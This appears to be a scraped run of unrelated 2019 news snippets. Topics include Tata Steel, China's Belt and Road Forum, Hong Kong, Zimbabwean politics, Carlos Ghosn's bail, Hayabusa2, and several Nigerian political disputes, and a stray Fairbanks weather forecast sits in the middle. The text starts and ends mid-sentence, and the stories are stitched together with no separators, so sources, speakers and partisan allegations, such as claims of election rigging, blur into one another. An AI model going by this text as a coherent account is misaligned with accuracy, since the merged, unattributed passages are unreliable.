company supplies high-quality steel products to the most demanding markets, including construction and infrastructure, automotive, packaging and engineering. Port Talbot produces high-quality steel which is processed at Tata Steels steel mills around the UK for manufacturers in Britain, mainland Europe and other countries around the world. By Associated Press BEIJING: Chinese President Xi Jinping on Friday sought to allay the debt diplomacy concerns raised by India and the US over his trillion dollar Belt and Road Initiative (BRI), promising transparency, sustainability and zero tolerance to corruption in the costly infrastructure projects being funded by Beijing, specially to smaller countries. The BRI is President Xi's signature global infrastructure policy. First announced in 2013, the project promises to build ports, roads and railways to revive the ancient Silk Road and create new trade corridors linking China to Asia, Africa and Europe. Addressing to the 2nd Belt and Road Forum (BRF) attended by 37 heads of state and governments including Russian President Vladimir Putin and Pakistan Prime Minister Imran Khan besides officials from 150 countries and international organisations, Xi said China wants to build the BRI projects based on "open, green and clean cooperation". India, like the first BRF meet in 2017 has skipped the Friday meeting as protest over the USD 60 billion China-Pakistan Economic Corridor (CPEC) being laid through Pakistan- occupied Kashmir. The CPEC, which connects the strategic Gwadar Port in Pakistan's Balochistan with China's Xinjiang province, is the flagship project of the BRI. This time, the US also joined India in skipping the BRF. The Trump administration has been extremely critical of the BRI and is of the view that China's "predatory financing" is leaving smaller counties under huge debt and endangering their sovereignty. Notwithstanding the global concerns, China has mobilised by far larger gathering of heads of state and government this time compared to the first BRF meeting held in 2017 during which 29 heads of state attended. This time the gathering included its BRI critics of the past Malaysian Prime Minister Mahathir Mohamad, who renegotiated an over USD 19 billion rail project to be built with Chinese funding and brought the costs by USD 10.7 billion by reducing the length of the 648 km rail line by 40 kms. ALSO READ | China's Belt and Road Initiative wins fans despite criticism The project was signed by his previous government headed by Nazib Razak who is on trial for corruption. Prime Minister Khan himself was critical some of the CPEC projects and wanted to cut the size of the USD 8 billion Karachi-Peshawar rail line, the biggest project under the CPEC, by USD 2 billion. In his speech, Xi, also General Secretary of the ruling Communist Party of China, allayed fears that China was using the BRI as a geopolitical tool to attain superpower status. He said the BRI is "not an exclusive club". "Everything should be done in a transparent way and we should have zero tolerance for corruption," Xi said. Xi said China will not engage in beggar-thy-neighbour currency devaluation. China will continue to improve the exchange rate formation mechanism of its currency, the renminbi, and keep the exchange rate generally stable on a reasonable and balanced level, he said. Xi said the joint building of the Belt and Road projects has opened up new space for the world's economic growth and it has also created a new platform to boost international trade and investment, expanded new practices to optimise global economic governance, and made new contributions to improving people's well-being in all countries. ALSO READ | China trying to create its own globally decisive naval force through BRI: Pentagon China on Thursday signalled that it is seeking to address the concerns of debt financing with a promise of "sustainable financing" for smaller countries to ease debt burden. Concerns over BRI financing became vocal after China acquired Sri Lanka's strategic Hambantota port on a 99-year lease as a debt swap in 2017. China is doling out huge sums of money for infrastructure projects in countries from Asia to Africa and Europe, enhancing its global influence. Unlike his 2017 speech to the first BRF during which he announced about USD 124 billion additional financing for the BRI projects, Xi's address this year did not contain any monetary announcements pledging fresh capital for the projects. His speech highlighted on 'co-development' focussing more on deflecting criticism and doubts about the multibillion-dollar initiative. Xi delivered his speech just hours after an announcement by President Trump that the Chinese president would visit the White House "soon". Some of the measures announced in Xi's speech have been under lengthy discussions during the trade talks with the US, the Hong Kong-based South China Morning Post reported. READ HERE | China's construction binge spreads to Americas, rattles US In his address, Xi vowed to abolish subsidies to firms that impede fair competition -- addressing a major bone of contention in US trade talks. He promised to prohibit forced technology transfer and said China will be protecting legitimate rights and interests of foreign owners of intellectual property rights. China will allow foreign investors to operate businesses in more sectors with controlling or full stake. China will also negotiate and sign high-standard free trade agreements with more countries, Xi added. China will work with other parties to promote a coalition of sustainable cities and an international coalition for green development under the BRI, he said. He said China will increase imports of goods and services on a larger scale. China will further lower its tariff rates and continuously open up its market and welcome quality products from around the world. He also called on all countries to create a sound investment environment and treat Chinese enterprises, students and scholars abroad as equals, he said. Chinese President Xi Jinping (R) meets with his Cypriot counterpart Nicos Anastasiades, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Yan Yan) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with his Cypriot counterpart Nicos Anastasiades, who is here to attend the Second Belt and Road Forum for International Cooperation. China and Cyprus have set an example of equal treatment and mutually beneficial cooperation between big and small countries in the international community, Xi said. The two sides should continue to support each other's core interests and major concerns and expand areas of bilateral cooperation, Xi said. China is ready to deepen cooperation with Cyprus in port, maritime transportation and infrastructure construction, and discuss exploring third-party cooperation in the Mediterranean region, Xi noted, voicing the hope that the Cypriot side can continue to play an active role in promoting the development of China-Europe relations. Anastasiades said the Cypriot side will adhere to the one-China policy and actively participate in the joint construction of the Belt and Road. He said that Cyprus will continue to be an important partner of China in the European Union, and that he hopes China can support the United Nations peacekeeping force in continuing operations in Cyprus. Chief Executive Carrie Lam Hong Kong is not only one of the most competitive cities in the world, but also a multicultural city in the heart of Asia. Under the unique "one country, two systems" principle and enjoying unique strengths and advantages, we are a key link and a prime platform for the Belt & Road. For the past few years, the Hong Kong Special Administrative Region Government has been playing the roles of facilitator and promoter in taking forward the Belt & Road Initiative, and we are pleased that various sectors in Hong Kong are all very enthusiastic to join this challenging and worthy cause. Today's session will be moderated by Hong Kong Exchanges & Clearing Limited Chairperson Laura Cha and joined by six delegates from Hong Kong who are among the most accomplished in their respective sectors. Over the next 40 minutes, they will share their insights on our city's position as the Belt & Road hub in many aspects - ranging from finance and investment, legal and dispute resolution services, business and trade, professional services and capacity building to cultural exchange - as well as on how to leverage Hong Kong's strengths and advantages in professional services and international expertise in enhancing regional co-operation. In short, today's session will shed light on how Hong Kong can contribute to the Belt & Road, and hopefully will give you an extra boost of confidence in partnering with Hong Kong. I would like to express my sincere gratitude to the organisers of this thematic forum - the Chinese People's Association for Friendship with Foreign Countries and the People's Government of Beijing Municipality. My thanks also go to ministries and departments that have rendered us strong assistance, in particular the Ministry of Foreign Affairs, the National Development & Reform Commission, the Ministry of Commerce, and the Hong Kong & Macao Affairs Office of the State Council. Chief Executive Carrie Lam gave these remarks at the dedicated session on Hong Kong themed "Belt & Road: Hong Kong IN" at the thematic forum on sub-national co-operation of the second Belt & Road Forum for International Cooperation in Beijing on April 25. The meeting with representatives of medical groups tonight to discuss public healthcare manpower issues is constructive and very harmonious, Secretary for Food & Health Prof Sophia Chan said. Speaking to the media after the meeting, Prof Chan said it was first held in March to discuss and resolve the problem of manpower shortage. At today's meeting, participants considered the Medical Council's proposals on how to relax the assessment period for overseas doctors who return to Hong Kong to work under limited registration. She said: Our principle is to give an equal treatment, that is not a discriminatory treatment, to all doctors working at different parties, namely Hospital Authority, the Department of Health and the two universities. The second principle is to provide incentives to attract people to come back. The more relaxed the proposal, the better it is. Apart from issues relating to specialists, today's meeting also explored ways to attract intermediate-level doctors and fresh graduates to work in Hong Hong, as well as ways to streamline the existing limited registration system application procedures, she added. The first Luxembourg-Chengdu freight train leaves a cargo station on April 4, local time. (Photo by Chinanews.com) China published a report elaborating on the progress, contributions and prospects of the Belt and Road Initiative (BRI) on April 22. Over the past five years, the country has made remarkable progress in the construction of the Belt and Road. The initiative and its core concepts have been written into documents from the United Nations, G20, APEC as well as other international and regional organizations. By the end of March 2019, the Chinese government had signed 173 cooperation agreements with 125 countries and 29 international organizations. The Belt and Road has expanded from Asia and Europe to include more new participants in Africa, Latin America and the South Pacific. By the end of 2018, the China Railway Express to Europe had connected 108 cities in 16 countries in Asia and Europe. A total of 13,000 trains had carried more than 1.1 million TEUs. China has enabled more convenient and efficient customs clearance so that the average inspection rate and customs clearance turnover time have both decreased by 50 percent. Over the past five years or so, 1,239 new international routes have opened between China and other B&R countries, accounting for 69.1 percent of Chinas new international routes over that period. From 2013 to 2018, the value of trade between China and other Belt and Road countries surpassed $6 trillion, accounting for 27.4 percent of Chinas total trade in goods, growing faster than the countrys overall foreign trade. From 2013 to 2018 Chinas direct investment in Belt and Road countries surpassed $90 billion, achieving a turnover of $400 billion in foreign contracted projects in these countries. According to a World Bank study, the transportation network proposed by the BRI could lead to a nearly 5 percent increase in total foreign direct investment flows to Belt and Road countries. The Peoples Bank of China has rolled out joint financing programs with the International Finance Corporation under the World Bank Group, Inter-American Development Bank, African Development Bank, European Bank for Reconstruction and Development, and other multilateral development institutions. By the end of 2018, these institutions had invested in more than 100 programs in over 70 countries and regions. In recent years, financial connectivity under the BRI has deepened. The Cross-Border Interbank Payment System now covers some 40 countries and regions involved in the Belt and Road Initiative. Currently, China has signed agreements on industrial capacity cooperation with more than 40 countries including Kazakhstan and Brazil. The country has signed third-party market cooperation agreements with France, Italy, Spain, Japan, and Portugal. China has signed agreements with 24 Belt and Road countries on the mutual recognition of higher education degrees. In 2017, 38,700 students from other Belt and Road countries studied in China on scholarships provided by the Chinese government, accounting for around 66 percent of all students receiving such scholarships. China has signed mutual visa exemption agreements for different passports with 57 Belt and Road countries, and concluded 19 agreements or arrangements to streamline visa application procedures with 15 countries. In 2018, outbound Chinese tourists totaled 150 million, and inbound foreign tourists exceeded 30 million. Former Bulawayo South legislator Mr Eddie Cross has alleged that members of the G40 cabal that was expelled from Zanu-PF in 2017 are buying arms to instigate a war in the country. Mr Cross alleged this on Thursday while speaking at the Cape Town Press Club in South Africa. He lauded President Mnangagwa for various reform initiatives which the Government has embarked on since assuming office. (President) Mnangagwa is committed to reform; he has not received sufficient recognition for what he has done. But he has to deal with recalcitrant elements in his party; intelligence sources suggest G40 buying weapons, said Mr Cross. The G40 cabal was a faction within Zanu-PF that had coalesced around former First Lady Grace Mugabe in an attempt to use her proximity to former President Mugabe to grab State power. Their attempts were however, thwarted when the Zimbabwe Defence Forces, with the support of the majority of Zimbabweans, launched Operation Restore Legacy that resulted in the resignation of former President Mugabe. Leaders of the G40 cabal that include Professor Jonathan Moyo, Mrs Grace Mugabe, and Messrs Saviour Kasukuwere and Patrick Zhuwawo were subsequently expelled from Zanu PF. President Mnangagwa survived poisoning while attending one of the infamous Meet the People rallies in Gwanda. The rallies fronted by Mrs Mugabe were used by G40 to denigrate the senior party leadership, most of who hail from the liberation war era. Following his dismissal from Government in November 2017, President Mnangagwa had to flee the country through Mozambique after receiving intelligence that his life was in danger. The President survived a bomb attack in Bulawayo last year, which was strongly believed to be the handiwork of G40 remnants. Efforts to get a comment from Mr Cross were fruitless yesterday as his mobile phone was not reachable. The soldiers are still on the ground. They are from the nearby 5 Brigade and have the backing of officers from the polices Support Unit. It has however emerged that their presence has not helped matters that much as they are either being paid by the illegal miners to allow them in or joined in digging for gold altogether. It was also realised that some of the soldiers are already well-known to the miners and this has not helped matters, an intelligence source said this week. We are in the process of preparing to launch a 24 hour news channel which is also a big opportunities for business as this channel will not only be about Zimbabwe but also an international channel, he said. Fairbanks, AK (99707) Today More clouds than sun. High -3F. Winds light and variable.. Tonight Snow this evening will become lighter late. Low -2F. Winds light and variable. Chance of snow 90%. Snow accumulating 1 to 3 inches. Foreign journalists leaf through materials at the media center of the second Belt and Road Forum for International Cooperation, April 23, 2019. (Photo/Han Xiaoming, Peoples Daily) In a report titled The Belt and Road Initiative (BRI): Progress, Contributions and Prospects, China reviewed and summarized its experiences of the Belt and Road construction in the past five some years. The report, issued ahead of the second Belt and Road Forum for International Cooperation (BRF), is an explicit explanation on how the BRI is changing the world. The pursuit for development is an eternal theme of human society. For individuals, development is to realize greater personal value in social and economic activities; for enterprises, development is to achieve more wealth through constant optimization of essential productive factors; for countries, development is to create better life for the people by making the most of its resources. Faced with the conflicts and issues generated in the last round of economic globalization, the China-proposed BRI, crossing different regions, development phases, history, cultures, religions, and customs, is producing vitality with practices and making multiple achievements for the world. The BRI is advancing global economic progress. Building a high-rise begins with mounds of soil, and a journey of one thousand miles begins with the first step. For most people, what really matters is the present, and what they care about the most is their livelihood. In this sense, if an initiative or concept can improve peoples life quality, create business and make them wealthy, it is bound to gain wide support. The BRI is just benefiting the world exactly that way, making a great number of economic miracles for related countries. The Western Europe-Western China highway connecting China, Kazakhstan, and Russia is basically complete. The 1,320MW Coal-Fired Power Plants at Port Qasim of Pakistan have been launched. From 2013 to 2018, China's direct investment in Belt and Road countries surpassed $90 billion, while the value of trade between China and these countries exceeded $6 trillion. The BRI is uniting people around the world to achieve common development. As one Chinese poem describes, despite the difficulties posed by mountains and rivers, there is a way to the next village shaded in soft willows and bright flowers. When the world is amid a global economic downturn, the cake of the global economy could hardly grow bigger. On the contrary, it has even become smaller, leading to sharper conflicts between growth and distribution, capital and labor, and efficiency and equity. Under such circumstances, to deliberately cut off the flow of capital, technologies, products, industries, and talents between economies with a zero-sum game mindset will only drive the world economy into a dead end. Against the setbacks encountered by economic globalization, China proposed the BRI and made it a broadly welcomed public product by practice. Today, a series of top-level conferences, dialogue mechanisms and international organizations, including the BRF, the China-Arab States Expo, the Asian Infrastructure Investment Bank (AIIB), and the International Coalition for Green Development on the Belt and Road are uniting global people to make more contribution to world economic governance. The BRI is making cooperation closer. Harmony arises from the ability to appreciate different cultures for their unique beauty. With the development of productivity and scientific and technological progress, people across world are more closely connected to each other than ever before, and the world is becoming a global village. The joint efforts to build the Belt and Road reflect the international communitys demand for a global governance system that is fair, egalitarian, open and inclusive,as well as humanitys common aspiration for a bright future. The BRI is not only an important public product, but also an important platform for the building of a community with a shared future for mankind. The Belt and Road will become a road of peace, prosperity, opening up, green development, innovation, connected civilizations, and clean government. Such a statement made by the report will no doubt bring more benefits to the residents in the global village. The world is going through major development, transformation and adjustment, and is faced with various problems and challenges. Nevertheless, peace, development, and cooperation remain the theme of the times. The second BRF will definitely yield more fruits for the BRI construction, thus bringing the benefits to the people with stronger dedication, more concrete measures, and in a broader range. Former Nissan Motor Chairman Carlos Ghosn walked out of jail on Thursday night after the Tokyo District Court rejected an appeal by prosecutors to reverse its decision to grant bail. Local television showed Ghosn, who was arrested for the fourth time in early April, leaving the building in a suit and white shirt before climbing into a black car. His posture was a stark contrast to that of his previous release in early March, when he wore gray work clothes, a blue cap and a mask. One of his lawyers had acknowledged that the plot, intended to disguise Ghosn, had been a failure. As one of the conditions of the bail granted earlier on Thursday, Ghosn has been separated from his wife. The Brazilian-born tycoon is barred from contacting Carole Ghosn unless he notifies the court of the time and place he intends to speak to her. The condition was set because the latest allegation involves suspicions of an indirect transfer of Nissan funds to a company where she is president. Carole Ghosn was questioned as a witness in the investigation but not charged. "I am grateful that bail has been granted," Ghosn said in a statement after his release. However, "restricting communications and contact between my wife and me is cruel and unnecessary," he added, maintaining that he is innocent and that he is committed to "vigorously defending [himself] against these meritless and unsubstantiated accusations." The decision to limit Ghosn's contact with his wife is expected to spark a new wave of criticism over the workings of Japanese justice. Ghosn's first detention on previous charges lasted 108 days, during which he was barred from contact with his family for two months. "This is a huge human rights issue," said Takashi Takano, one of Ghosn's defense lawyers. His release will allow his defense team to better prepare for trial on a string of allegations of financial misconduct. The latest charge brought by prosecutors earlier this month is expected to delay the scheduled September start date. Japan's space agency has confirmed that its Hayabusa2 space probe has succeeded in creating an artificial crater on the surface of an asteroid, the world's first attempt to study its interior. The Japan Aerospace Exploration Agency made the confirmation on Thursday after analyzing images taken from 1,700 meters above the asteroid, named Ryugu. This followed an earlier success on April 5 that smashed a metal projectile, called "impactor," onto the asteroid with the aim of creating a crater. Just before the impact, Hayabusa2 had evacuated to the other side of the asteroid to avoid being hit by flying debris. The probe then spent two weeks to come back to a location 20,000 meters above the impact point. The probe on Thursday descended to an altitude of 1,700 meters to take close-up photos of the asteroid. JAXA scientists compared the images with those taken before the impact, and found a depression that did not exist before. They say this is proof of the first artificial crater created ever on the surface of an asteroid. Project Manager Yuichi Tsuda told a news conference that it was an extremely challenging mission. He said his team feels it has achieved a great success. Tsuda said the team will examine the photos in more detail to decide if it will be feasible to make Hayabusa2 land inside the crater to pick up rock samples. BEIJING, April 26 (Xinhua) -- Chinese President Xi Jinping on Friday called on all countries to create a sound investment environment, and treat Chinese enterprises, students and scholars abroad as equals. All countries should provide a fair and friendly environment for them to carry out normal international exchanges and cooperation, Xi made the remarks while delivering a keynote speech at the opening ceremony of the Second Belt and Road Forum for International Cooperation in Beijing. The All Progressive Congress (APC) in Anambra State, has called on the All Progressives Grand Alliance APGA and the Peoples Democratic... The All Progressive Congress (APC) in Anambra State, has called on the All Progressives Grand Alliance APGA and the Peoples Democratic Party PDP, to prepare for war in the next governorship election in the state in 2021 The party leaders in a unanimous decision Friday at the Milatel Hotels in Awka, vowed that what happened in the past during elections in Anambra State, will never repeat itself again. It was during the presidential victory get together of the party, organized by the Buhari Youth Organisation, led by its Coordinator in the state, Hon Olisa Okamelu. Speaker after speaker including the former Commissioner for information, Chief Charles Amilo, South East Youth leader of APC, Hon Olisaemeka Onyeka and party leaders from Imo and Enugu states spoke in the same vein. The State Acting party Chairman of APC, Chief Basil Ejidike, said the target of the party was 2021 governorship, adding that it would be the time for APC to stamp its authority in Anambra. He apologized to party members for the party not living to its billing during the previous elections, noting that the time to get it right would be in 2021 election in the state. According to Ejidike it will not be a problem again for us because we have identified some of the problems that held us back in the past Our coming political summit in May in Anambra will usher in a new dawn. So, the ruling party in the State and others should be ready to face APC because its now or never The state Coordinator of BYO (Buhari Youth Organisation) Hon Osita Okamelu, said with the leadership of the party under Ejidike, who he described as a political bulldozer, that APC was as good as winning in 2021 However, he agreed with other speakers like Okelo Madukaife, the partys publicity secretary, Chief Amilo, Onyeka and others that there was improvement during the presidential election unlike what happened before now. For Olisaemeka Onyeka, the Southeast Youth leader of APC, there was a need to review the proposed zoning formula in the party. MOSCOW, April 26 (Xinhua) -- Representatives of China, Russia and the United States on Thursday reached consensuses on various aspects of the Afghanistan issue including sovereignty, internal dialogue, terrorism, military withdrawals and smuggling. At the second trilateral consultation on Afghanistan held in Moscow, Chinese Special Envoy Deng Xijun, Russian Presidential Representative Zamir Kabulov, and U.S. Special Representative Zalmay Khalilzad discussed the current situation in Afghanistan and its ongoing peace process. The three parties emphasized that they respect the sovereignty, independence and territorial integrity of Afghanistan and the country's right to choose its own path of development, and called on foreign militaries to withdraw from the country in an orderly and responsible way as part of the peace process. They said they recognized the strong desire of the Afghan people for a comprehensive ceasefire and urged all to take immediate and effective measures to reduce violence. The three representatives also called on the Taliban to prevent recruitment, training and fund-raising by terrorist groups and to expel all terrorists, and encouraged peace talks between the Taliban and a representative Afghan delegation involving the government. They suggested the Afghan government and the Taliban should take all necessary measures to wipe out the threat of drugs in the country. The three parties also agreed to continue their consultations, and to decide via diplomatic channels the time and participating countries for the next meeting in the Chinese capital of Beijing, in a bid to further promote the Afghan peace process, for which they will stay in contact. The first trilateral consultation was held a month ago in Washington, during which the representatives discussed ways to promote peace, prosperity, and security in Afghanistan. The Special Assistant to former Vice President, Atiku Abubakar on Youth and Support Groups, Aliyu Bin Abbas has asked the Chairman of In... The Special Assistant to former Vice President, Atiku Abubakar on Youth and Support Groups, Aliyu Bin Abbas has asked the Chairman of Independent National Electoral Commission, INEC, Prof. Mahmood Yakubu to wash his hands off, like Pontius Pilate, the alleged case of rigging during the last presidential election which is pending at the tribunal by telling the truth. Abbas made the call on Thursday in an open letter he addressed to the INEC Chairman and released on Thursday. He alleged gross manipulation during the election, claiming that INEC declared fake results. He slammed INEC for lying in a desperate bid to cover and defend its alleged doctoring of the election result. The letter which was titled: AN OPEN LETTER TO THE INEC CHAIRMAN, PROF YAKUBU MAHMOUD A REMINDER, reads: Sir, I would like to start by reminding you that one singular path to cast into the abyss the democracy of any nation is to aid and abet rigging during elections. Its a recognized fact that once democracy is undermined, it would take just a little time before it collapses. Kindly be reminded that Nigerias democracy did not come free of cost. It took the tears, sweat, and the blood of many Nigerians who matched to the streets to protest against the autocratic and tyrannical regimes of the military. Many people paid dearly with their lives, while those who escaped death became debilitated for the remainder of their lives. These uncelebrated men and women gave in everything hoping that the next generation would enjoy the dividends of a new Nigeria. Sir, you will agree with me that the sustainability of democracy begins with electing qualified candidates who will not undermine the constitution, rubbish the rule of law and separation of power, disobey court orders, and drag down all other institutions of democracy. The system can only be sustained if the masses are allowed to decide who lead them devoid of any manipulation. The 2019 presidential election organized under your leadership is the WORST in the entire history of the human race to say the least. It is the most unfortunate thing that has ever happened to Nigeria. HURIWA described it as a crime which is worse than that of Evans the Kidnapper. Chief Femi Falana SAN called it a total mess. The attitude displayed by your commission (INEC) has added credence to the widely held believe that INEC under your leadership has been politicized and will never for any reason be trusted by the good people of Nigeria. He further told Prof. Mahmood that there is nothing as disgraceful and more irritating than the shameless denial of his commission in respect of the 2019 presidential election results in the INEC server. The result in the server (PDP ~ 18,356,732; APC ~ 16,741,430) shows that Atiku Abubakar of the PDP is the true and genuine winner of the 23rd February 2019 presidential election. But INEC announcing a concocted and a fraudulent result proves that the commission deliberately worked in cohort with Buhari and the APC to rig out Atiku Abubakar of the PDP. Kindly note that under your leadership, INEC has made it very clear (in both videos & print) that the commission will electronically transmit result of the February 23rd presidential election across all the polling units in the country into a central server to enhance transparency and credibility of the process. Your shameless denial of the existence of this result in the INEC server is an embarrassment to this nation. The commission also said that result collated manually must be in synchrony with the electronically collated results for the outcome of the presidential election to be credible and acceptable. However, this, the commission did not follow. We are nevertheless happy that many Presiding Officer who carried out the e~collation of the presidential election results are coming out to speak, sharing vital information to Nigerians and are ready to stand as credible witnesses in the case. To this end, we want to warn that those (INEC staff) who chose to stand as witness against the electoral daylight robbery aided by the commission you head should not be hounded. Their safety and security is in the hands of INEC. Should anything untoward happen to any of them, Nigerians will hold you and the commission responsible. We want to also warn that any attempt by the commission to temper with or incinerate any document that will be useful at the tribunal will not be tolerated by Nigerians. INEC under your leadership must know that the whole world is watching to see the end of the daylight robbery carried out by the APC with your tacit support. Enough is enough! He sounded. He advised the INEC Chairman to remember that history will not be kind to him if he doesnt retrace his steps. In conclusion, Sir, I want you to know that posterity will continue to judge you harshly for the crime you have perpetrated against this country. You will be remembered for the worst election youve organized in Nigeria. Until death, your sense of right and wrong, if at all you have any, will continue to judge you harshly until you stand on the side of truth at the presidential election petition tribunal. You will always be remembered by over 18.3 million Nigerians as a man who subverted due process because of political sentiment and gains. However, Sir,. you still have a chance to make amends. Like Pontius Pilate, Ill strongly advice that you wash off your hands in this case, tell the truth at the tribunal and live at peace with your maker in the next world. You can not deliberately cheat over 18 million Nigerians and think you can escape punishment from your maker. The choice is yours. Accept my letter in good faith, he concluded. President Muhammadu Buhari has approved the donation of $500,000 to the government of Guinea Bissau. According to a series of tw... President Muhammadu Buhari has approved the donation of $500,000 to the government of Guinea Bissau. According to a series of tweets on the verified Twitter handle of Presidency Nigeria @NGRPresident, Buhari made the donations in response to an urgent request for assistance by the government of Guinea Bissau towards the countrys election. The president, who is chairman of ECOWAS, also donated 350 units of electoral kits, 10 motorcycles, five Hilux vans, and two light trucks to the country. This was announced in a series of tweets by the presidency. The president graciously approved support to the countrys election process, including 350 units of electoral kits, 10 motorcycles, 5 Hilux vans, two light trucks and US$500,000, one of the tweets read. In his capacity as Chairman, ECOWAS Authority of Heads of State, and had, on Friday morning, directed Minister of Foreign Affairs, Geoffrey Onyeama, to undertake an urgent mission as his Special Envoy to Guinea Bissau, in the company of ECOWAS Commission President, Jean-Claude Brou. The suspended Chief Justice of Nigeria (CJN), Walter Onnoghen, was finally on Thursday, April 18, convicted of false and non-declarati... The suspended Chief Justice of Nigeria (CJN), Walter Onnoghen, was finally on Thursday, April 18, convicted of false and non-declaration of assets. The embattled ex-CJN had been arraigned by the Code of Conduct Bureau (CCB), following a petition brought against him by a group, the Anti-Corruption and Research Based Data Initiative. Onnoghen was charged on six counts, for allegedly failing to declare some of his accounts in the asset declaration form submitted to the CCB in December, 2016. According to the charge, Onnoghen also failed to declare his assets after the expiration of his declaration form filled in 2005. But Onnoghen, who had noted that he forgot to update the form, told the tribunal that he was not guilty of the charges brought against him. During the proceedings, the defence, in their final arguments, maintained that the prosecution failed to prove the six counts beyond reasonable doubt as required by law and urged the tribunal to dismiss the case. It added that the charges against Onnoghen were incompetent and unconstitutional as they were based on the provisions of the Code of Conduct Tribunal and Bureau Act which were in conflict with the relevant provisions of the Constitution. However, Danladi Umar, CCT chairman, found him guilty of the six counts preferred against him by the federal government. Umar held that the federal government had proved beyond reasonable doubt that Onnoghen breached the code of conduct for public officers. The defendant has clearly contravened the code for public officers, he said. The prosecution has discharged the onus placed on it and it has proved its case beyond doubt. The defence has failed to prove that the chairman is biased. Thus, he ruled that Onnoghen be removed as CJN and chairman of the NJC and banned from holding public office for 10 years. The tribunal further ruled that all monies in the five accounts which were not declared by the defendant be confiscated, seized and forfeited to the federal government as they were all acquired illegally by the defendant. He said the defence could not prove how Onnoghen legitimately owned the funds found in the five accounts. We've highlighted the total amount of monies Onnoghen will forfeit in 5 bank accounts: Domiciliary US Dollar account No. 870001062650 $56,878* (N20.4m) Domiciliary Pound Sterling account No.285001062679 13,730.70. (N6.42m) Domiciliary Euro account No. 93001062686 10,187.18. (N4.11m) e-Saver savings (Naira) account No.5001062693 N12,852,580.52 (12.85m) Another Naira account No.010001062667 N2,656,019.21. (N2.65m) The total amount in Naira is about N46.43m Daily Trust added that all the balance is as at December, 2018, except the US Dollar account. According to the newspaper, except the conviction is overturned by appellate court, Onnoghen cannot be pardoned by the president through prerogative of mercy. Section 23(7) of the CCT/B Act provides that: The provisions of the Constitution of the Federal Republic of Nigeria 1999, relating to prerogative of mercy, shall not apply to any punishment imposed in accordance with the provisions of this section. A civil servant, Ifenekwe Okechukwu, on Friday appeared in a Wuse Zone II Chief Magistrates Court in Abuja over failure to produce a... A civil servant, Ifenekwe Okechukwu, on Friday appeared in a Wuse Zone II Chief Magistrates Court in Abuja over failure to produce an accused in a criminal case. Okechukwu, who works in the Legal Department National Lottery Regulatory Commission, Jabi district Abuja, is charged with screening of an offender. The Prosecutor, Mr A. O. Olaofe, told the court that the case was reported to the Chief Magistrate sometime in May 2016. Olaofe said Okechukwu stood as surety for Joy Amaukwu, who is charged with criminal breach of trust, cheating and issuance of dud cheque involving N1.9 million. He said that consequently after the bail for Amaukwu was approved, the defendant failed to produce her. The prosecutor said all efforts to compel Okechukwu to produce Amaukwu failed. The prosecutor said the offence contravened the provisions of Section 167 of the Penal Code. Coalition of United Political Parties (CUPP) has berated President Muhammadu Buhari as he begins a 10-day private visit to the United ... Coalition of United Political Parties (CUPP) has berated President Muhammadu Buhari as he begins a 10-day private visit to the United Kingdom. Buhari, yesterday, embarked on a private trip to the UK. He is expected back to the country on May 5. However, Ikenga Imo Ugochinyere, the spokesman of the CUPP, said Buharis trip was funded with taxpayers money and as such, he should disclose the reason behind his latest trip instead of tagging it a private visit. Speaking to reporters in Abuja, he said: The President is taking Nigerians for granted. He does whatever he likes without bothering about anybody. After spending over a year outside the country in the last four years, he has again embarked on what he called a private visit with the taxpayers money. The man is not doing anything. The country is on autopilot. The country has been on autopilot since he took over and it is still on autopilot. If he is going for regular medicals, he should be bold enough to tell us. If he is going on holiday, he should also tell us because his trips are funded with taxpayers money. It is clear that the country does not have a competent leader. The job of the President is a 24 hours job but this man is not doing this job. The Kogi State Governor, Yahaya Bello has reacted to reports that he was preparing to dump the All Progressives Congress, APC, ahead o... The Kogi State Governor, Yahaya Bello has reacted to reports that he was preparing to dump the All Progressives Congress, APC, ahead of the governorship election in the state. Reports had it yesterday that some top shots in the presidency had advised Bello to dump the APC for another party, ahead of the November election in the state. Bellos move was said to be due to his alleged misunderstandings with some top officials of the party in the state. However, Bellos Director-General of Media and Publicity, Kingsley Fanwo, has described the report as false. In a statement, Fanwo said Bellos recent declaration for second term has made his political opponents jittery. According to Fanwo, the governor will remain in the ruling APC and fly the flag of the party during the election. He stated that Bellos declaration has unsettled his opponents, many of whom had thought the party would fail and then die after the 2019 general elections in Kogi state. Immediately after the declaration, diaspora opposition pressed their panic button and ventured into rumor mercantile, spreading all forms of rumor. First, it was that the governor has not performed in office. We didnt fight them. We only rolled out 105 verifiable achievements in 39 months of stewardship. Like the rat who saw a cat, they ran away from that sentimental infantilism. The new disingenuous point they now propel is to insinuate the governor was going to leave his party for a new ground. This viewpoint is not only a calorie from ignorance, but a confirmation of the confusion in the opposition camp. Governor Bello inherited a battered party which was depleted by those who circumvented the constitution of the party. We lost seats at the national and state assemblies to court judgements and was barred from participating in the reruns. He reorganized the party, gave fillip to the dynamics of inclusion and constitutionalism in the party. He provided leadership and registered over 500,000 new members in the party in an unprecedented drive. He supervised free, fair and credible congresses that was widely commended and also oversaw a nomination process which was a clear departure from the era of impunity. We are looking beyond August. We are already working hard to win the Governorship election in November. He has built APC and he understands APC. He is the future of APC. Governor Bello will not leave the house he has expanded to accommodate over 500,000 new tenants to become a tenant. He is the father of Kogi APC. We urge all supporters and lovers of the governor and Kogi state to dismiss the weak lies of those who have been jolted by the success of the governor, the statement added. The North-East youth wing of the All Progressives Congress, APC, has called for the sack of the partys national chairman, Adams Oshiomho... The North-East youth wing of the All Progressives Congress, APC, has called for the sack of the partys national chairman, Adams Oshiomhole. They said Oshiomholes crass and ghetto mentality would lead to the total collapse of APC, if allowed to remain. In a statement issued on Thursday by Abubakar Maigari, the secretary of the organisation claimed that Oshiomhole has created confusion and eventual loss of some states to the opposition in the 2019 elections. The statement reads: Several members of the ruling party have been lost to the opposition since Oshiomhole became APC National Chairman on June 23, 2018, yet, the looming 9th National Assembly leadership election crisis may threaten the corporate existence of the ruling party. Oshiomhole is now akin to a bull in a China warehouse that has to be guided and shown out quickly, otherwise in less than a year from now, APC shall be confined to the dustbin of history. Barely a month after Oshiomhole assumed the APC national chairmanship, 15 senators and 37 House of Representatives members decamped, mostly to the PDP on Tuesday July 24, 2018, just as Senate President Bukola Saraki and Speaker Yakubu Dogara followed suit later. Oshiomhole may wish to say it was not his making, but politics is about making creative interventions by muddling through and not reaching out with unguided statements drawn from crass and ghetto mentality. Apart from the lawmakers, governors of Benue, Sokoto and Kwara states announced their defections also from the APC to PDP under his watch. Through 